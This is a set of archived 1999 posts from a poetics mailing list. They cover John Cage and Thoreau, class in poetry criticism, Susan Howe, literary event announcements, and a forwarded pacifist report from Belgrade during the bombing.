so far this is all intro - where CS lays out the presuppositions of the study to follow - this is all enmeshed with a contrast between Emerson (who will be aligned with Charles Ives, Charles Olson - Projectivists) and Thoreau (Cage, Objectivists) part of what i like in all of this is that CS is very careful to state that the poles of his comparison are in some sense hypothetical - intentionally overdrawn - and that what he's interested in is the gray area between them & how consideration of Cage is useful to charting this space Emerson and the Charles' Olson and Ives - via their 'projectivist' stance (retro application warning) are in CS's view 'dualistic' - Thoreau, the Objectivists and Cage are 'nondualistic'

i changed the heading of this post from "review" to "thoughts" b/c i find that i'm basically in sympathy with the book - and as Shultis has been quite careful in delineating just what he is making claims about and what he is not i find it hard to do much more than agree with the main points of the book within their chosen and carefully staked ground

those who have an investment in Emerson or Thoreau might have differences or wish to debate terms but i have not these investments and so in addition to recommending the book to anyone interested in Cage's poetics as well as to Olsonites and fans of the Objectivists and others i'd like to ask some questions about the 'gray area between the poles' that Shultis' study highlights

if - as Cage said - his purpose was purposelessness or perhaps - that nonintention was his intention then he does partake of both poles he intends not to intend some i'm sure find this contradictory just as Shultis (and maybe Cage fans generally) see it as breaking with the dualistic logic one finds in Emerson but an insistence on nonduality

but i wonder

i think Cage probably wd have said something similar and affirmed in some way what i hear Shultis affirming in his book

but still i wonder whether it might be that Cage's position implies less a 'nondual' situation than a multiple one - i've read statements wherein he speaks against 'unity' in favor of 'multiplicity'

is 'unity' a dualistic notion - maybe so
but is non-dualism also built on a notion of unity ? one without any outside ?

so cd it be that Cage's position has less to do with an argument between 1 and 2
but instead poses in some way an argument for a 3rd position ?

in the Peircean triad each element necessarily mediates between the other two
Cage's intention to be nonintentional
mediates between the poles of Shultis' study

likewise understanding what Cage is Intending
in relation to "normal" Intention
requires the mediation of some notion of Nonintention

just as understanding in what sense Cage's
work is nonintentional must be mediated
by the fact that he does it - Intends it

at present this is all i have to say about this but i'd be curious to hear other's responses to the book and to my few sketchy remarks

)L

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320. Pam Brown
Invitation
Thu 25 Mar 1999

Dear Poetics List,
Please add this to your hectic calendar of events.
And please come along if you're in Sydney on April 9th

"overland" magazine editor Ian Syson and poetry editor Pam Brown invite you to the launch of a special "Four Poets" issue featuring previously unpublished poems by Judith Wright, the late John Forbes, Adam Aitken and Coral Hull with essays on their work by Gig Ryan, Martin Duwell, Ouyang Yu and John Kinsella.Plus Ken Bolton & John Forbes in poetic correspondence.Cover painting by Ken Searle, plus a supplement of painted portraits of poets by Jenny Mitchell accompanied by an essay by Carmel Bird, poetry by Lee Cataldi, Cath Kenneally, the Kelen brothers & everyone listed below, essays & reviews by Nathan Hollier, Kerry Leves, Rae Desmond Jones and others, plus the usual superlative local & global reports & articles & much much more.

Reading on the night - Adam Aitken, Carolyn Van Langenberg, Philip Hammial, Rae Desmond Jones,
Mark O'Flynn and Kerry Leves.
Refreshments. Poetic Yakking. Everyone welcome
On Friday 9th April at 6pm at Gleebooks 49 Glebe Point Road Glebe Phone (02) 9660 2333

overland magazine website -
http://dingo.vut.edu.au/~arts/cals/overland/overland.html

Best wishes,
Pam Brown
http://www.geocities.com/SoHo/Workshop/7629/

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321. BETSY ANDREWS
Re: defensive poetry
Thu 25 Mar 1999

Well, let me weigh in with a bit of retro-biographical information about Howe that speaks against the really wierd idea that the "crappy papers" of bunch of "middle-class" students who love poetry at "middle-ground state universities" toll the death knell of "all joy in poetry":

In a 1995 Contemporary Literature interview, Lynn Kelly asked Howe," People objecting to experimental writing sometimes complain that whatever claims are made for its social engagement or marxist perspective, or its changing hegemonic structures of consciousness, that, in fact, the aduience it reaches is a very narrow, highly educated one, that the reader has to have tremendous intellectual confidence even to grapple with these texts. What do you think? Does that concern you?"

Howe's reply: "No. The objection offends me. I think it is part of a really frightening anti-intellectualism in our culture. Why should things please a large audience? And isn't claiming that the work is too intellectually demanding also saying a majority of people are stupid? Different poets will always have different audiences. Some poets appeal to younger people, some to thousands, one or two to millions, some to older people, et cetera. If you have four readers whom you truly touch and maybe even influence, well then that's fine. Poetry is a calling. You are called to write and you follow."

Howe's comments counter Rebecca's remarks from her post "Re: Shifts in Modalities" in two totally different ways. Firstly, Howe refuses to totalize. There are various aesthetic communities of readers and writers. There is no "all" anything. Secondly, Howe refuses to condescend. She's enraged by the condescension.

I wonder if Rebecca thinks being middle class is the problem, or going to a "middle-ground" state university is a problem--I have an MFA from one of those places, George Mason in Fairfax, VA,--I went there on purpose, and believe me, there was all sorts of joyous experimentation and intellectualism there. Or if that provisional term of hers, "love" of

poetry is the problem. What does "love" in quotation marks mean?

> From: Grant Jenkins <[redacted]>
> To: [redacted]
> Subject: defensive poetry
> Date: Wednesday, March 24, 1999 6:17 PM
>
> >This [the posting about S. Howe's particularities] is exactly what I was
> >talking about earlier when I said that "it [the shift into classrooms
> >producing critics whose facilities are lamed] will happen and it will
> >suck." I do not want to know what Susan Howe's family home was like and
I
> >do not want to know what her husband does for a living. Cultural studies
is
> >simple biographical criticism in thin disguise: an excuse for
> >sensationalism and for those who are uncomfortable with ambiguity to
write
> >about where their subject was born and how many doctors were around the
> >table, color of baby blanket, etc.
>
> Well, I guess I should come to my own defense--if I am able, being only a
> lame, lowgrade academic.
>
> All snideness aside, I have a question for you, Rebecca: what exactly
then
> do you think is the "joy of poetry"?
>
> What I can gather from reading the texts of Susan Howe--letters, poems,
> journals, marginalia--that it is precisely the textual particulars of
> another that she finds to be the "joy of poetry." Reading Melville's
> Marginalia, a colletion of his notations in books he was reading,
inspired
> her to write a poem that exposes the irony, uncertainty, and change in
not
> only Melville's "life" but also in history (another text). Immersing
> herself in the manuscripts of Emily Dickinson, Howe reclaims and
> reconsiders Dickinson in a feminist context. I read much joy, Susan's and
> mine, in both of those works. The joy comes not just from the work but
> that it was written, by someone.
>
> This is not biographical criticism because it does not distinguish
between

> a "text" and a "life." Both are in language yet bear the traces of another
> person who chose to write. Nor is this mere cultural criticism, as you
> would have it. It's what Peter Neufeld in his post refered to as an ethics
> that calls for a consideration of the uncertainty and alterity that mark
> our reading of an other's texts. There is more at stake than just figuring
> out "what it means." Anyway, I don't know to many academics who have this
> goal. (Isn't so much of the poetry that we all enjoy and feel invested in
> marked by a blur between poetry and criticism? Must we draw that line in
> the sand again? Why?)
>
> For me, the joy of poetry comes not just from New Critically reading (or
> writing) the Genius of a poem, In Itself. But from following the textual
> threads out of the work and into other texts and other uncertainties, ad
> infinitum. Not knowing "what it means" is the greatest joy.
>
> Grant

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322. **pete spence**

Re: Ray Johnson Review

Thu 25 Mar 1999

> *Thrill compels me again to say a little of what i've recently seen. A retrospective of the collagist and mail artist Ray Johnson closed last Sunday at the Whitney Museum,*

,,,,there was also supposed to be a contemporary mail-art exhib at the whitney dedicated to R J haven't seen much mention of it in various docs i've seen on the show, did it happen??? 'cause i had a thing in it and also a collab with c vleeskens in it//pete spence Get Your Private, Free Email at http://www.hotmail.com

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323. **Garrett Kalleberg**

Snake Hiss is Musick to Your Ears

Thu 25 Mar 1999

Announcing: Snake Hiss / A Transcendental Friend Audio Project

Snake Hiss is the inaugural CD from Immanent Audio, an imprint of Morningred Dot Com, produced by Debug & Co. The works on this disk were made by contributors to the Transcendental Friend as audio projects - works meant to be experienced as sound. From Anselm Berrigan's slanky sprechgesang with Edmund Berrigan on sprechguitar, to Laird Hunt's eerily driven Medeival tale to the accompaniment of 1000 humming Niebelungen, to Jen Hofer's spontaneous auto-lyricical-combustion on the Bay Bridge, to Heather Fuller's C-Wing Sub-Level 3 interrogation of a microphone, these works represent a wide variety of approaches to poetry & sound.

Alan Gilbert & Garrett Kalleberg present "Pharmacality," a dialogic montage with Antonin Artaud, Roger Blin & Jacques Derrida. Lisa Jarnot performs her "Armadillo" on the streets of Queens, NY. Marcella Durand reads "Hunt" and "Tnuh" at the same time (some distortion cannot be avoided). Jonathan Skinner performs his translation of Ghrasim Luca's "15 Min. Meta-physical." (Skinner reports that his arms were sore for days afterwards.) Duncan Dobbelmann reads his translation of Paul Van Ostaijen's "Sur les Ponts de Paris," written in the aftermath of Great War Europe, against a sonic mediascape. Daniel Machlin & Serena Jost perform "14 Days, 30 Seconds," a collaborative diary of the creative life of a poet, a musician, a cello, keyboard, bass, acoustic and slide guitar, and various household paraphernalia. Jen Hofer improvises "What I Mean to Say" and "Good Directions" on the S. F. Bay Bridge. Laird Hunt reads his translation of "The Vair Palfrey," from the Old French of Huon le Roi. Cole Swensen's "Maestà" is presented as a montage of voices in counterpoint. Jesse Glass reads P. M. Deshong's "A Dream," a visionary poem by an unknown 19th century Maryland poet. Heather Fuller recorded "stricken [from]" with an unknown accomplice. Anselm Berrigan performs "Fortune's Drift," with Edmund Berrigan on guitar. Heather Ramsdell & Garrett Kalleberg perform "Send in the Clown," a piece for two voices and pratfalls. There is a bonus track.

Sound samples, in the mp3 file format, can be heard from the Snake Hiss page at

> http://www.morningred.com/immanentaudio/pages/snakehiss.html.

For orders, send a check to: Debug & Co. / 71 Devoe Street, 3L / Brooklyn, NY 11211.

The Snake Hiss CD is $12, including postage. (All packages sent first class mail.) Be sure to include your name and address, all that stuff.

For bulk orders or other inquiries, please write [redacted], or contact Garrett Kalleberg, at [redacted].

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

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324. Garrett Kalleberg
Critique of Instrument's Reason - TF9, March 1999
Thu 25 Mar 1999

Announcing TF9, March-April 1999 - Instruments

> http://www.morningred.com/friend/1999/03/cover.html

Issue No. 9 of The Transcendental Friend is called "Instruments" as a tribute to those who contributed work to the Snake Hiss CD. Snake Hiss is an Audio Project of the Transcendental Friend, released for the one year anniversary celebration of TF - a truly wonderful reading and evening in New York (thank you all!).

This issue of the Schizmata offers "Pas de deux + others," recent work by the remarkably inventive Stacy Doris, protege of Lully and de Sade, ballet not included.

This month's Report from Afield is the first edited by Leonard Schwartz, connoisseur of Gnostic and early Christian speed metal techniques, and includes work by Danish poet Katrine Marie Guldager (translated by Anne Mette Lundtofte) and Russian poet Alexander Ulanov (translated by the author and Michelle Murphy).

Kristen Prevallet, currently under the employ of "Angel" Heurtebise in the manufacture of musical instruments made of fire, presents early work by Jean Cocteau in this month's Idiosyncratica.

The Bestiary features a short piece by virtuoso radio player (and part time microscopist) Heather Ramsdell, called "Newt."

This issue's Project page contains more information about the Snake Hiss CD, as well as sound samples in the mp3 format.

Thanks for your interest!

(And thank you everyone for your well-wishes for our one year anniversary.)

Yours truly,

Garrett

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

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325. P.Standard Schaefer
RIBOT
Thu 25 Mar 1999

This year's publication of the College of Neglected Science, Ribot #7, will be co-edited by Paul Vangelisti and myself. The theme is music. Not necessarily meditations on music, but certainly work with musicality involved. The deadline for that issue is, frankly, right upon us. April 15. The issue is filling up quickly, but anything received by then will be considered.

Send submissions to:

PO Box 65798, LA CA 90065

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326. P.Standard Schaefer
Otis MFA
Thu 25 Mar 1999

For those who have asked about more information regarding the Otis MFA program,
the Otis website address is-- www.otisart.edu

The requirements are listed below.

MFA IN WRITING

First Year

Critical Theory & Practice (3 units - 2 semesters) — Two-semester, joint offering with the Graduate Program in Fine Arts, required of both first year Fine Arts and Writing students. The course is an in-depth examination of a critical or theoretical text, focusing on contemporary issues in the verbal and visual arts, and how the text and the issues raised ultimately relate to the students' own work.

Fiction Workshop/ Poetry Workshop (4 units - 2 semesters) — Two-year course sequence in the student's area of emphasis, i.e. fiction or poetry, with a different poet or fiction writer each semester. Also, as part of the course, the student will meet with the program director, as well as other graduate faculty during the semester.

Writing as Critical Practice (3 units - 2 semesters) — Two-year course sequence in which both fiction writers and poets discuss practical critical issues by focusing on a literary historical or genre issue, such as the epic tradition, the quotidian, writing as social sign, the contemporary literary scene, etc. Topics and instructors will rotate on a semester basis.

Special Topics in Literary Studies (3 units - 2 semesters) — First year sequence: "Translation Seminar" (in which students will attempt fiction or poetry translations, confronting the fundamental problem of literary translation, as well as acquiring some first-hand knowledge of literary traditions outside that of Anglo-American literature); and an elected course from pertinent "Advanced Topics in English" offerings, designated for upper division/graduate credit.

Units: 26

Second Year

Fiction Workshop/ Poetry Workshop (4 units - 2 semesters)

Writing as Critical Practice (3 units - 2 semesters)

Special Topics in Literary Studies (3 units - 2 semesters) — Second year sequence: "History & Practice of the Book" (an examination of the material history and theory of the "book," and its continuing problematic issues of reception, in which students will construct a small book that embodies the personal and public concerns implicit in their own writing); and an elective from "Advanced Topics in English" offerings.

Art History Elective (2 units - 1 semester) — To be chosen, preferably in first semester of second year, from the "Art History & Theory" courses offered in Liberal Studies.

Writer's Tutorial (3 units - 1 semester) — Second year students meet once a week with the director and other instructors to discuss work or issues of particular importance to their progress in the program.

Units: 25

Fifth Semester (with non-resident option)

Thesis (4)

TOTAL PROGRAM UNITS: 55

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327. **Mairead Byrne**
Re: shifts in modalities
Thu 25 Mar 1999

I tend to agree with Tom Bell on this. Rebecca's post struck a number of jangling notes for me. I probably do love poetry, like I love air (even though I'm almost afraid of breathing around here when I see the black veil that shrouds snow after only a few days). I probably also love books. My PhD is probably not from the type of institution Rebecca's frustrated professor emerged from. And yes, I have written all those "crappy papers." I might even be middle-class -- at least I fervently hoped so when I was a child, though the last 20 years has been quite disappointing on that front. Anomalous is probably the word that best describes my grad student / teaching experience. I don't know which is more wearying: Rebecca's common rendering or the baffling and ongoing anomalies which are my daily experience of teaching, writing, reading and trying to support a family in this country. Mairead On Wed, 24 Mar 1999, Thomas Bell wrote:

> *I may be white, male, and of working class background. I still am a 'working' person and did put myself through a middle-ground state university by working my way through it. I attended some of the classes mentioned and wrote my share of crappy papers. I did eventually switch majors and depart from the scene referred to but I prefer to think it was because of my perceptiion of the basically hypocritical and political atmosphere of literature and writing programs (this was thirty years ago so no one here need take offens). I find the comments below offensive to me, my children, and their teachers, among others.*

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328. **Kathy Lou Schultz**
Re: gender class poetics poetry
Thu 25 Mar 1999

I found Grant Jenkins post (thanks for "de-lurking") concerning Susan Howe to be extremely useful--and I strongly agree with Rebecca Wollf's simplistic dismissal of it. What Jenkins importantly highlights is the conditions of production and the possible relationship(s) between that and the writing process and product. What he was NOT doing is drawing a simple straight line between a writer's biography and a particular assesment of the writing. The conditions of a writers' production are IMPORTANT. Who has control of the means of production in publishing is important. Who has access to those who

control the means is also very important. Yes, there is a cultural elite in this country. One of the problems inherent in drawing lines around a category such as "working class writing," however, is that what is recognized as being a part of that category is usually a narrative description of an "appropriate" content: in this case, working, usually in fact men's work. It's interesting to me, too, that a writer's own class is proposed as not being a necessary factor for their work to be considered as part of "working class writing." What I always think of is the category of "African-American literature." What would happen to that category if we applied the same rule? Not that I'm defending these categories. On the contrary what I'm interested in is how these categories are developed and perpetuated within literary criticism, and how they relate to the process of canonization. And finally, by the way, I don't think that cultural studies is some kind of weak veil for "biographical criticism." Kathy Lou Schultz

>Grant Jenkins:
  Class pressures and situations condition
>every aspect of a writer as well as his or her relationship to culture,
>community, and history. Howe's upper-middle class upbringing in the
>household of a Harvard University professor as well as her marriage to a
>famous sculptor--just to name 2 of many many factors--provided her with
>many economic/social opportunities (and problems) that she does not
>incorporate consciously into her work.
>
>Furthermore, there is no necessary or predetermined relation between class
>and poetic production. The meaning of those pressures and how they shape a
>life/work is a matter of careful study and analysis of particular
>situations.

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329. **Kevin L. Magee**

Re: Sondheims Kattrin posted 24 Mar 01:58:44

Thu 25 Mar 1999

Hello

Is there any more info on Peter Evans' September virtual writing residency that could be forwarded to the poetics list?

worker 1:
THE INTERNET IS INFORMATION INFORMATION IS KNOWLEDGE KNOWLEDGE IS POWER

worker 2:
WASHINGTON IS PREPARING FOR WAR WITH RUSSIA

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330. **Dubravka**

[Fwd: [Fwd: Belgrade: a feminist report]] (fwd)

Fri 26 Mar 1999

---

dear lsit, i sent this to charls bernstein, but send to the list also.
this is the massage from belgrade pacifist groups. thanks to
charles and all friends to love and support. i hope i will write
more soon .. it is really horrible
dubravka djuric

Forwarded message ---------- Date: Thu, 25 Mar 1999 22:17:12 +0100
From: Zarana Papic <[redacted]>
To: Aco Divac <[redacted]>,
Alain Lipietz & Francine Comte <[redacted]>,
Aleksandar Kron <[redacted]>,
Aljosa Mimica <[redacted]>, Brana Stojkovic <[redacted]>,
Chele <[redacted]>, Danica Ilic <[redacted]>,
Darka Radosavljevic <[redacted]>,
Dimitrije Todorovic <[redacted]>,
Dragan BULATOVIC <[redacted]>,
Dragica Vujadinovic-Milinkovic <[redacted]>,
Dragoljub Zarkovic <[redacted]>,
Drinka Gojkovic <[redacted]>,
Dubravka Djuric <[redacted]>,
Dunja Blazevic <[redacted]>, Duska <[redacted]>,
Evropski pokret u Srbiji <[redacted]>,
Goran Milicevic <[redacted]>, Ivana Aleksic <[redacted]>,
Iveta Todorova <[redacted]>, Jelena Djordjevic <[redacted]>,
Jelena Santic <[redacted]>, KOTEVSKA Ana <[redacted]>,
Liga socijaledmokrata Vojvodine <[redacted]>,
Marija Bogdanovic <[redacted]>,
Milena Dragicevic-Sesic <[redacted]>,
Mima Pesic <[redacted]>,
Mirjana Kovacevic <[redacted]>,
nikola tucic <[redacted]>, Pedja Dojcinovic <[redacted]>,
Rade Veljanovski <[redacted]>, Rastko Mocnik <[redacted]>,
Slobodanka Ast <[redacted]>,
Snjezana Milivojevic <[redacted]>,
Srdjan Darmanovic <[redacted]>, Srdjan Rajkovic <[redacted]>,
Svetlana Slapsak <[redacted]>,
Tinde Kovac-Cerovic <[redacted]>,

vesna rakic-vodinelic <[redacted]>,
Zaga Golubovic <[redacted]>, Zarko Paunovic <[redacted]>
Cc: Autonomous Women's Center Against Sexual Violence <[redacted]>
Subject: [Fwd: [Fwd: Belgrade: a feminist report]]

autonomous women's center against sexual violence
tirsova 5a, beograd, fr yugoslavia
tel/fax: 381.11.687.190
e-mail: [redacted]

-------- Original Message --------
Subject: Belgrade: bombing day second
Date: Thu, 25 Mar 1999 18:29:51 +0000
From: "Women's Center Belgrade" <[redacted]>
To: Zarana Papic <[redacted]>

Belgrade, 24 march, 99
2pm.

dear friends,

we have received many letters of support, calls from our friends
from Bosnia, Croatia and Slovenia, thank you.
The situation:
Many women are affraid more or less. last night some of us have
worked in the Womens Center untill 9pm, and after that the town was
calm and empty, and some citizens were around entrance of houses and
some in the cellers.
The parts of the town near the military bases felt hard detonations
and saw the fire. Those in the center of town did not.
The telephone lines have become difficult.

The worry of pacifists is the situation on Kosovo. First, most artillery the serbian army has concentrated in the region of Kosovo. Last night i finally caught the telephone lines with Pristina and talked to my friend, and she said that the biggest worry is the vengeance of serbian army against albanian population. The CNN and BBC TV stations are obviously very pro-violence oriented and they have inflicted much fear into people in Kosovo, on top of the facts that are fearfull in themselves. The serbian officials have cut electriciy in Pristina last night, and tuned in this morning. The cutting of electricity was clearly the act of producing more fear on the one already there. So you can imagine the mood in Pristina. This morning there is no bread and milk in most of the shops in Belgrade and Pristina. and it is a beautifull sunny day.

The fact that enrages is that serbian regime has totally and apsolutelly taken the control of all the media. Which means that only few words come in, and

that language of hatred, production of enemies and vengeance politics is increasing every minute. Four TV stations fused in one and two others in the other one. The people who do not have satellite TV get few news per hour, about shelters and enemies, and nothing else. This is as well frightening.

Many women did not sleep last night,
and sirenas are on and off every couple of hours. So some of us are
constatly on the phone with those who feel bad.

Once again feminists and pacifists from Belgrade are again this time sending sisterly tender words for our friends and Albanian women and their families in Kosovo.

lepa mladjenovic

autonomous women's center against sexual violence
tirsova 5a, beograd, fr yugoslavia
tel/fax: 381.11.687.190
e-mail: [redacted]

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331. david bromige
re C Daly & Loyola fans
Fri 26 Mar 1999

Actually, I only posted because Aldon Neilsen has been indisposed, and this indisposition removes him some 70 miles from his computer. And because I am his friend, and because I support the series at Loyola, and because . . . . Wd be glad to hear a full report. I am removed some 400 miles from this series.

I can understand C Daly's misgivings abt the spelling of my name. She is not the first. Besides Bromige (which is how I write it), there is Bromage, Bromidge (which is how I say it) and Bromwich. It is sd to derive from old english words either for dairy farm or for the ridge where the broom grows, and would pin the ancestors to the W Midlands. But London is a melting-pot, so quien sabe? I found a chemistry treatise by a Jugoslav whose name is Bromig. Possibly this is pron. as the c in Simic wd be were he in the land of his birth : tch.

But then again, there is a name on the subcontinent Brahmaraja or close, and that wd be the most suitable for me. Of course, there are alternative spellings of many names, (Daley for e.g. with Daly) no doubt due to illiterate precursors. Accent determined spelling, impinged on the 'norm' of the scribe. As with all those Ellis Island, excuse the pun, christenings. (Or variants on port of origin : Heiftiz, Jaffe, Jaffer. . . . Or variants on verb-forms most assoc. with the person : e.g, Bowering, from Borrowing. [smiley face here].) When a very young movie

and tv fan,our daughter would speak of Alfred Hedgehog, which was probably one origin of the name Hitchcock.

A name feels cast in concrete but is constantly redefining. Like for e.g. _The Fall of Because_ a new work by Dave Baratier is and isnt a sonnet sequence. (Btw, I recommend this for a thorough reading. I think it isnt available quite yet, but I'll post those details) David

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332. Ben Basan
Class
Fri 26 Mar 1999

I'm glad the issue of class has cropped up because for years I've wondered what class is. It's interesting to me that whenever class is discussed actual definitions of class seem to evade the argument. Since I have spent my life thus far between America and the UK I would have thought that, particularly from living in the UK, I should have some idea of what class is. I have asked this question before and have had answers ranging from the idea of wealth being tied with class to simply an accent. That class and language are connected in some way is tempting; so is it language that separates the classes?

I've been told several times that because I don't know what class I am I must be middle class; On my first or second day of my undergrad. degree a lecturer told us that no matter what we thought we were, we are now middle class since we entered a university course. My nieghbor who alone earns more than my wife and I together considers himself working class (he does have the accent). this class issue seems to me awfully muddled, as I think much of this anterior identity seeking is.

I don't mean to be confrontational. I simply do not know what class is... that is not to say I don't see social discrepancies between individuals or groups, but to add the structure of class...?

Benjamin Basan

Get Your Private, Free Email at http://www.hotmail.com

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333. david bromige
class etc in poetry
Fri 26 Mar 1999

This topic is one I follow with interest. I dont know if what I'm about to say, adds anything to the literature on the subject. To testify, I was born to a couple

from the British workingclass, and many of my class-loyalties lie there. But my parents were omnivorous readers. So were my sister and I. My taste in reading became sophisticated beyond that of a number of my classmates. I won a scholarship to an upper-middle-class school. I was attacked by workingclass kids on my way home from school, all that. My love of reading made me a fan of many persons who would never have sat down to break bread with our family. Evelyn Waugh started higher than I and aspired yet higher, a horrible snob. But what he could do with narrative and dialog was seductive. Why I Dont Do Social Realism, etc. Writing well takes time, and time takes money, and so the monied classes have given us a 'disproportionate' number of authors. Tilt.

In my work "Lines" e.g.

```
                    dark night of the soul
                    ----------------------
                    currently unemployable

or                    to be human is to be a conversation
                    -----------------------------------
                    i'm doin okay
```

I hear among whatever else an underclass avenger subverting an overclass person of letters, while effecting an odd reconciliation. Even in

```
                   parricide
                   ---------
                   commonly botched
```

I read a murderous inpatience with caste. But I misgive that a blue collar would find such as enjoyable as cowboy verse.

Class feels particularly evasive in the U S A. In Canada, as someone brilliantly generalized, everyone is workingclass. (Exceptions shut up!) In England, where they tell you class is breaking down, which is a load of bollocks, it's mainly overclass kids adopting cockney accents, class remains manifestly a prime shaper of attitudes, expectations, diction, literature. 'Manifestly,' --yet sub rosa.But the U S A . . .I was shocked to encounter signs of class war (as subtler, but no less unmistakable, than, i.e., the bosses' cops gunning down workers) upon coming here. Like much of the rest of the world, I suspect, I had been focussed upon the egalitarian presumption.

There's more to say, but this is long enough. David

↑ Index

334. Rebecca Wolff
Re: shifts in modalities
Fri 26 Mar 1999

I am afraid I made myself un-understandable by a too-swift posting. My use of the quotation marks around "love books" and "love poetry" was meant to indicate not irony but sincerity.

Did not mean to offend. Meant to try to explicate my particular frustrations, which I am sure are quite particular.

I think I'll shut up now.

Rebecca Wolff

↑ Index

335. Rebecca Wolff
Re: and again I shut up
Fri 26 Mar 1999

And let me try to dig myself even a tiny little bit further out of the hole by saying that I don't identify with the "well-trained professor" of my oh-so-hasty posting, but rather more with the "folks." Reading over what I said now I can only lament how ironically I expressed myself. Really I'm amazed, more than anything, at the fluctualities of the inflections of my tones there.

There are, of course, opinions expressed in the posting that I do stand by, but they are not particularly well-expressed.

Thank you, and good night.

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336. travmar03
Fw: April 3, 1999 --
Fri 26 Mar 1999

Watch for the Age in its Cage and other spectacular feats of daring by the amazing duo:
-

> *Stephen Rodofer and Shawn Walker*
> *Highwire Gallery*
> *139 N. 2nd Street*
> *Philadelphia*
> *Saturday April 3, 1999*
> *8 PM*
> *BYOB*

> *Stephen will give a talk titled: The Age in its Cage*
> *At 5 PM at the Writers House.*
>
> *Bring a friend, a family member, a small pet, and a whole lot of endurance.*
> *E-mail this out to any you may think are interested.*
>
> *xoxo*
> *your sponsors*
> *Fuchs and Connor*

↑ Index

337. **Poetry Project**

Re: query--poetry project newsletter

Fri 26 Mar 1999

Said rumor is just that. The Newsletter will be retaining it's molecules for a thousand years, or at least until the war in Yugoslavia escalates.

A. Berrigan

ps -- it might be nice to know how the rumor got started, seeing as how gossip & news are one and the same on just about every level of the culture at the moment. On the backside, tho'.

> *Date: Wed, 24 Mar 1999 18:00:11 -0800*
> *From: Mark Weiss <[redacted]>*
> *Subject: query--poetry project newsletter*
>
> *Heard a rumor today that I hope is unfounded that the St Marks Poetry Project Newsletter is soon to be no more. Confirm, deny, or elucidate?*

↑ Index

338. **maz881**

Re: Page Mothers & Delinquent Daughters

Fri 26 Mar 1999

Yes, Linda. I disagree with that quote too, which i noted at the time. I was saying it was one way that l-p could be read. And thank you for pointing out the problems that result from that reading (eg gender gets nullified).

i also agree with you in that i don't see l-p as a relevent term or grouping now. i tend to believe it was real at one point tho. and admire the energy and work that resulted from it.

I think I misread your original post, where somehow it seemed you were the one calling for more "taxonomies" like l-p. i can't see where i or tom0 were calling for new taxonomies.

I guess i read the open letter issue as a taxonomy "move" like l-poets made. Here is some theoretical work and here are some of my friends here, here and here, and here are their poems and we're united against capitalism. and you can tell that by the disconnected style we use. also i think some of the writers included in that issue were a little surprised to find themselves apparently unified under the rubric of jeff.

so my problem i suppose is that move was interesting (to me) back when i was starting to read. but now it sounds hollow. editing projects that are more interesting to me don't group by form, friends, loyalities. i think the New (Am) anthos suffers from a lyrical form grouping, a weird nationalist grouping and not enough people of color. tho it has the advantage of not surrounding the poems with theoretical constructs through which we are supposed to read. chain is a funny example because it groups by form. but discrete form, not the correct form of a new movement. the end result is hard to describe. which is good. tinfish has a similar confusion, tho grouped around "region".

identity groupings by gender, race, class, seem more valuable to me. or valid. or grounded in their opposition, but i don't have the theoretical vocabulary to say anything relevent re . i guess i am suspicious of the new open letter's largely white grouping. it is a problem of the avant-gararge. i suppose i am part of that problem too.

i guess what i meant by many to many relationships is to avoid seeing yourself as part of one mini-group composed of relatively similar reflections of yourself. because that leads to mini-group fight. eg langp-po nyc mini group and nyc school mini-group in early 80s. if bruce andrews reads 1st with elinor nauen, l-poets stay for bruce and walk for elinor. nyc school poets show up late and miss bruce. they dislike each other for no good reason i can think of.

contradictorily, i believe it's important, maybe even vital, to have close writer friends and alliances. and those friendships, those mini-groups tend to be fairly homogeneous wrt to the big identity 3. friendship "is" that way. but it's vital to seek out much that is outside that mini-group. to break down the notion that friendship is natural.

so you can see i don't really know what i mean by grouping. an essay i like is called SpiderWasp and literary criticism by J spahr, the ideas of which i seem to be summarizing rather poorly: "There is clearly right now an increase in mismatchings, in joinings. . . . and the joinings that are happening here are as diverse as the things joined. But nonetheless, all this work can be characterized

by its refusal of allegiance to any specific school and a parallel proclamation of an allegiance to more than one school."

i think that is a getting at of a definition of many to many. which is a relational database term. take user and group as entities (tables). if there is a many to many relationship between these entities, one user can be in many groups and one group can contain many users.

alternately, i read, reductively i'm sure, early l-p and the recent open letter as enacting a one to many relationship. a group can contain many users, but a user belongs to only one goup.

thanks for your time. it seems like we are really in agreement on much of this. i don't know how to proceed.

Bill

Linda wrote:
< to me it seems more important (now) to look for commonalities among different
> groupings and try to create permeable groups, to seek out many to many
> relationships.

I would tend to agree but then your terms are so general here that I'm not sure what I'd be agreeing with. What do you mean by grouping -- a sort of self-selection? or that of the taxonomist? We can't first look for commonalities without first deigning to articulate them, no? But these writings would then be your "ghosts"? How does one proceed?>>

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339. Poetry Project
upcoming
Fri 26 Mar 1999

Next week, due to Easter (we're in St. Mark's Church), there are no readings or workshops at the Poetry Project.

Larry Fagin's workshop will resume April 13th; the other workshops will resume April 9 &10th. If you have any questions about this, please call us at [redacted].

Readings will resume on April 5th with an Open Reading (sign-up at 7:30 pm)

Then Anne Waldman & Victor Hernandez Cruz on Wednesday, April 7th at 8pm

And then, a two-reading evening as part of the People's Poetry Gathering (co-sponsored by Poets House & City Lore) on Friday, April 9th: The Shadow Writing Project at 9:30 pm Robert Bly & Robert Pinsky at 10:30 pm

In the Meantime:

Marcella Durand, Program Coordinator for the Poetry Project, will be participating in a Roundtable Discussion on Monday, March 29th at 7 pm "Readings, Launch Paries and More: Events Planning in New York City for Literary Publishers" at Poets House, 72 Spring St, 2nd floor, NYC

Admission is free for staff of literary magazines, $5 for others RSVP by March 29th, 12 pm to the Council of Literary Magazines and Presses at [redacted] or e-mail to [redacted].

Also forthcoming, as part of the upcoming conference at Barnard on April 9th at 9 am, a panel on Women at the Poetry Project Participants include Brenda Coultas, Marcella Durand, Kimberly Lyons, Prageeta Sharma and Eleni Sikelianos--more information on this next week (sorry, someone took our Barnard information packet...)

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340. **kathylou**
Correction!
Fri 26 Mar 1999

The first sentence of my recent post on class & poetics should read:
I found Grant Jenkins post (thanks for "de-lurking") concerning Susan Howe to be extremely useful--and I strongly DISagree with Rebecca Wollf's simplistic dismissal of it.

Sorry for the confusion. I stare at a computer screen all day long at work and get major eyeball burn-out.
Best,
Kathy Lou Schult

↑ Index

341. **Lowther,John**
Re: Ray Johnson
Fri 26 Mar 1999

> RE: Ray Johnson
>

someone sent me this list
i thought it seemed worthy to post

> http://www.actlab.utexas.edu/emma/emailartgallery.html
>
> http://www.artpool.hu/Ray/Ray_about.html
>
> http://www.faximum.com/jas.d/asg_15.htm
>
